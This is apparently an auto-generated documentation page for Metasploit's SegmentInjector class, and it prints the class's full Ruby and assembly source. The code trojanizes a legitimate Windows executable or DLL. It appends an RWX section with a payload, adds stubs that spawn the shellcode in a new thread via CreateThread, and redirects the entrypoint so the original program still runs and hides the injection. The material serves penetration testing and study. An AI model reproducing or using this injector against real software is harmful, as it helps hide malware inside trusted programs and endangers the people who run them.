Class: Msf::Exe::SegmentInjector
- Inherits:
-
Object
- Object
- Msf::Exe::SegmentInjector
- Defined in:
- lib/msf/core/exe/segment_injector.rb
Direct Known Subclasses
Instance Attribute Summary collapse
-
#arch ⇒ Object
Returns the value of attribute arch.
-
#buffer_register ⇒ Object
Returns the value of attribute buffer_register.
-
#payload ⇒ Object
Returns the value of attribute payload.
-
#secname ⇒ Object
Returns the value of attribute secname.
-
#template ⇒ Object
Returns the value of attribute template.
Instance Method Summary collapse
- #create_thread_stub ⇒ Object
- #create_thread_stub_x64 ⇒ Object
- #create_thread_stub_x86 ⇒ Object
-
#dll_prefix(pe) ⇒ String
Assembly code to place at the entrypoint.
- #generate_pe ⇒ Object
-
#initialize(opts = {}) ⇒ SegmentInjector
constructor
A new instance of SegmentInjector.
- #is_warbird?(pe) ⇒ Boolean
- #payload_stub(prefix) ⇒ Object
- #processor ⇒ Object
Constructor Details
#initialize(opts = {}) ⇒ SegmentInjector
Returns a new instance of SegmentInjector.
15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
# File 'lib/msf/core/exe/segment_injector.rb', line 15 def initialize(opts = {}) @payload = opts[:payload] @template = opts[:template] @arch = opts[:arch] || :x86 @buffer_register = opts[:buffer_register] @secname = opts[:secname] x86_regs = %w{eax ecx edx ebx edi esi} x64_regs = %w{rax rcx rdx rbx rdi rsi} + (8..15).map{|n| "r#{n}" } @buffer_register ||= if @arch == :x86 "edx" else "rdx" end if @arch == :x86 && !x86_regs.include?(@buffer_register.downcase) raise ArgumentError, ":buffer_register is not a real register" elsif @arch == :x64 && !x64_regs.include?(@buffer_register.downcase) raise ArgumentError, ":buffer_register is not a real register" end end |
Instance Attribute Details
#arch ⇒ Object
Returns the value of attribute arch.
11 12 13 |
# File 'lib/msf/core/exe/segment_injector.rb', line 11 def arch @arch end |
#buffer_register ⇒ Object
Returns the value of attribute buffer_register.
12 13 14 |
# File 'lib/msf/core/exe/segment_injector.rb', line 12 def buffer_register @buffer_register end |
#payload ⇒ Object
Returns the value of attribute payload.
9 10 11 |
# File 'lib/msf/core/exe/segment_injector.rb', line 9 def payload @payload end |
#secname ⇒ Object
Returns the value of attribute secname.
13 14 15 |
# File 'lib/msf/core/exe/segment_injector.rb', line 13 def secname @secname end |
#template ⇒ Object
Returns the value of attribute template.
10 11 12 |
# File 'lib/msf/core/exe/segment_injector.rb', line 10 def template @template end |
Instance Method Details
#create_thread_stub ⇒ Object
48 49 50 51 52 53 54 55 56 57 |
# File 'lib/msf/core/exe/segment_injector.rb', line 48 def create_thread_stub case @arch when :x86 create_thread_stub_x86 when :x64 create_thread_stub_x64 else raise "Incompatible architecture" end end |
#create_thread_stub_x64 ⇒ Object
59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 |
# File 'lib/msf/core/exe/segment_injector.rb', line 59 def create_thread_stub_x64 <<-EOS push rbp mov rbp, rsp sub rsp, 38h and rsp, 0xfffffffffffffff0 ; Ensure RSP is 16 byte aligned mov rcx, hook_libname mov rax, iat_LoadLibraryA call [rax] mov rdx, hook_funcname mov rcx, rax mov rax, iat_GetProcAddress call [rax] xor ecx, ecx mov qword ptr [rsp+28h], rcx mov qword ptr [rsp+20h], rcx mov r9, rcx mov r8, thread_hook mov rdx, rcx call rax leave jmp entrypoint hook_libname db 'kernel32', 0 hook_funcname db 'CreateThread', 0 thread_hook: mov #{buffer_register}, shellcode shellcode: EOS end |
#create_thread_stub_x86 ⇒ Object
95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 |
# File 'lib/msf/core/exe/segment_injector.rb', line 95 def create_thread_stub_x86 <<-EOS pushad push hook_libname call [iat_LoadLibraryA] push hook_funcname push eax call [iat_GetProcAddress] lea edx, [thread_hook] push 0 push 0 push 0 push edx push 0 push 0 call eax popad jmp entrypoint hook_libname db 'kernel32', 0 hook_funcname db 'CreateThread', 0 thread_hook: lea #{buffer_register}, [shellcode] shellcode: EOS end |
#dll_prefix(pe) ⇒ String
Returns assembly code to place at the entrypoint. Will be empty for non-DLL executables.
195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 |
# File 'lib/msf/core/exe/segment_injector.rb', line 195 def dll_prefix(pe) prefix = '' if pe.header.characteristics.include? "DLL" # if there is no entry point, just return after we bail or spawn shellcode if pe.optheader.entrypoint == 0 prefix = "cmp [esp + 8], 1 jz spawncode entrypoint: xor eax, eax inc eax ret 0x0c spawncode:" else # there is an entry point, we'll need to go to it after we bail or spawn shellcode # if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain prefix = "cmp [esp + 8], 1 jnz entrypoint" end end prefix end |
#generate_pe ⇒ Object
151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 |
# File 'lib/msf/core/exe/segment_injector.rb', line 151 def generate_pe # Copy our Template into a new PE pe_orig = Metasm::PE.decode_file(template) if is_warbird?(pe_orig) raise RuntimeError, "The template to inject to appears to have license verification (warbird)" end if pe_orig.export && pe_orig.export.num_exports == 0 raise RuntimeError, "The template file doesn't have any exports to inject into!" end pe = pe_orig.mini_copy # Copy the headers and exports pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4] pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup pe.header.time = pe_orig.header.time # Don't rebase if we can help it since Metasm doesn't do relocations well pe.optheader.dll_characts.delete("DYNAMIC_BASE") prefix = dll_prefix(pe) # Generate a new code section set to RWX with our payload in it s = Metasm::PE::Section.new s.name = '.text' s.encoded = payload_stub(prefix) s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE] # Tell our section where the original entrypoint was if pe.optheader.entrypoint != 0 s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint) end pe.sections << s pe.invalidate_header # Change the entrypoint to our new section pe.optheader.entrypoint = 'hook_entrypoint' pe.cpu = pe_orig.cpu pe.encode_string end |
#is_warbird?(pe) ⇒ Boolean
133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 |
# File 'lib/msf/core/exe/segment_injector.rb', line 133 def is_warbird?(pe) # The byte sequence is for the following code pattern: # .text:004136B4 mov eax, large fs:30h # .text:004136BA sub ecx, edx # .text:004136BC sar ecx, 1 # .text:004136BE mov eax, [eax+0Ch] # .text:004136C1 add eax, 0Ch pattern = "\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C" section = pe.sections.find { |s| s.name.to_s == '.text' } if section.nil? return false elsif section && section.encoded.pattern_scan(pattern).blank? return false end true end |
#payload_stub(prefix) ⇒ Object
124 125 126 127 128 129 130 131 |
# File 'lib/msf/core/exe/segment_injector.rb', line 124 def payload_stub(prefix) asm = "hook_entrypoint:\n#{prefix}\n" asm << create_thread_stub shellcode = Metasm::Shellcode.assemble(processor, asm) shellcode.encoded + @payload end |
#processor ⇒ Object
37 38 39 40 41 42 43 44 45 46 |
# File 'lib/msf/core/exe/segment_injector.rb', line 37 def processor case @arch when :x86 return Metasm::Ia32.new when :x64 return Metasm::X86_64.new else raise "Incompatible architecture" end end |